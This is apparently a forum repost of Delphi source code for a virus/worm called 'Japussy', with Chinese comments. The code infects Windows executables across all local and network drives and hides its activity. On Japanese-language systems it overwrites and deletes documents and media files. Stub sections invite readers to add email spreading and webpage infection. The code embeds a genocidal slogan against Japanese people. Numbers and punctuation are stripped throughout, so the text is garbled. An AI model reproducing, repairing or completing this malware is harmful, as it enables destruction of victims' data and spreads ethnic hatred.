Word
WRAP: break
word
bgColor=#f
f
f
>以下是引用片段
program Japussy;
uses
Windows SysUtils Classes Graphics ShellAPI{ ReGIStry};
const
HeaderSize = ; //病毒体的大小
IconOffset = $EB; //PE文件主图标的偏移量
//在我的Delphi SP上面编译得到的大小其它版本的Delphi可能不同
//查找的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = ; //Upx压缩过病毒体的大小
IconOffset = $BC; //Upx压缩过PE文件主图标的偏移量
//Upx W 用法: upx Japussyexe
}
IconSize = $E; //PE文件主图标的大小字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $; //感染标记
//垃圾码以备写入
Catchword = If a race need to be killed out it must be Yamato +
If a country need to be destroyed it must be Japan! +
*** WJapussyWormA ***;
{$R *RES}
function RegisterServiceProcess(dwProcessID dwType: Integer): Integer;
stdcall; external Kerneldll; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Winx }
function IsWinx: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
VerdwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (VerdwPlatformID = VER_PLATFORM_WIN_WINDOWS) then //Winx
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos dCurPos: Integer;
begin
sCurPos := SrcPosition;
dCurPos := DstPosition;
SrcSeek(sStartPos );
DstSeek(dStartPos );
DstCopyFrom(Src Count);
SrcSeek(sCurPos );
DstSeek(dCurPos );
end;
{ 将宿主文件从已感染的PE文件中分离出来以备使用 }
procedure ExtractFile(FileName: string);
var
sStream dStream: TFileStream;
begin
try
sStream := TFileStreamCreate(ParamStr() fmOpenRead or fmShareDenyNone);
try
dStream := TFileStreamCreate(FileName fmCreate);
try
sStreamSeek(HeaderSize ); //跳过头部的病毒部分
dStreamCopyFrom(sStream sStreamSize HeaderSize);
finally
dStreamFree;
end;
finally
sStreamFree;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Sicb := SizeOf(Si);
SilpReserved := nil;
SilpDesktop := nil;
SilpTitle := nil;
SidwFlags := STARTF_USESHOWWINDOW;
SiwShowWindow := State;
SicbReserved := ;
SilpReserved := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream SrcStream: TFileStream;
IcoStream DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected IsPE: Boolean;
i: Integer;
Buf: array[] of Char;
begin
try //出错则文件正在被使用退出
if CompareText(FileName JAPUSSYEXE) = then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStreamCreate(FileName fmOpenRead);
try
for i := to $ do //检查PE文件头
begin
SrcStreamSeek(i soFromBeginning);
SrcStreamRead(Buf );
if (Buf[] = #) and (Buf[] = #) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
// 本文转自 C++Builder 研究 ;d=ladj
SrcStreamSeek( soFromEnd); //检查感染标记
SrcStreamRead(iID );
if (iID = ID) or (SrcStreamSize < ) then //太小的文件不感染
Infected := True;
finally
SrcStreamFree;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStreamCreate;
DstStream := TMemoryStreamCreate;
try
aIcon := TIconCreate;
try
//得到被感染文件的主图标(字节)存入流
aIconReleaseHandle;
aIconHandle := ExtractIcon(HInstance PChar(FileName) );
aIconSaveToStream(IcoStream);
finally
aIconFree;
end;
SrcStream := TFileStreamCreate(FileName fmOpenRead);
//头文件
HdrStream := TFileStreamCreate(ParamStr() fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream DstStream IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream DstStream IconOffset IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream IconTail DstStream IconTail HeaderSize IconTail);
//写入宿主程序
CopyStream(SrcStream DstStream HeaderSize SrcStreamSize);
//写入已感染的标记
DstStreamSeek( );
iID := $;
DstStreamWrite(iID );
finally
HdrStreamFree;
end;
finally
SrcStreamFree;
IcoStreamFree;
DstStreamSaveToFile(FileName); //替换宿主文件
DstStreamFree;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i Size Mass Max Len: Integer;
begin
try
SetFileAttributes(PChar(FileName) ); //去掉只读属性
FileHandle := FileOpen(FileName fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle nil); //文件大小
i := ;
Randomize;
Max := Random(); //写入垃圾码的随机次数
if Max < then
Max := ;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle i * Mass ); //定位
//写入垃圾码将文件彻底破坏掉
FileWrite(FileHandle Catchword Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := to do //遍历个字母
begin
D := Chr(i + );
Str := D + :;
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录感染和摧毁文件 }
procedure LoopFiles(Path Mask: string);
var
i Count: Integer;
Fn Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRecAttr <> ) and (SearchRecName <> ) and
(SearchRecName <> ) then
Result := //不是目录
else if (SearchRecAttr = ) and (SearchRecName <> ) and
(SearchRecName <> ) then
Result := //不是根目录
else Result := ; //是根目录
end;
begin
if (FindFirst(Path + Mask faAnyFile SearchRec) = ) then
begin
repeat
PeekMessage(Msg PM_REMOVE); //调整消息队列避免引起怀疑
if IsValidDir(SearchRec) = then
begin
Fn := Path + SearchRecName;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = EXE) or (Ext = SCR) then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = HTM) or (Ext = HTML) or (Ext = ASP) then
begin
//感染HTML和ASP文件将Base编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之？
end
else if Ext = WAB then //OutLook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = ADC then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = IND then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = DOC) or (Ext = XLS) or (Ext = MDB) or
(Ext = MP) or (Ext = RM) or (Ext = RA) or
(Ext = WMA) or (Ext = ZIP) or (Ext = RAR) or
(Ext = MPEG) or (Ext = ASF) or (Ext = JPG) or
(Ext = JPEG) or (Ext = GIF) or (Ext = SWF) or
(Ext = PDF) or (Ext = CHM) or (Ext = AVI) then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠毫秒避免CPU占用率过高引起怀疑
Sleep();
until (FindNext(SearchRec) <> );
end;
FindClose(SearchRec);
SubDir := TStringListCreate;
if (FindFirst(Path + ** faDirectory SearchRec) = ) then
begin
repeat
if IsValidDir(SearchRec) = then
SubDirAdd(SearchRecName);
until (FindNext(SearchRec) <> );
end;
FindClose(SearchRec);
Count := SubDirCount ;
for i := to Count do
LoopFiles(Path + SubDirStrings[i] + Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i Len: Integer;
begin
if GetACP = then //日文操作系统
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto do //遍历每个磁盘驱动器
LoopFiles(DriverList[i] + : **); //感染之
SendMail; //发带毒邮件
Sleep( * * ); //睡眠分钟
end;
end;
{ 主程序开始 }
begin
if IsWinx then //是Winx
RegisterServiceProcess(GetCurrentProcessID ) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr()) Japussyexe) = then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了开始工作
begin
TmpFile := ParamStr(); //创建临时文件
Delete(TmpFile Length(TmpFile) );
TmpFile := TmpFile + # + exe; //真正的宿主文件多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile) PChar(TmpFile) nil nil True
nil Si Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end
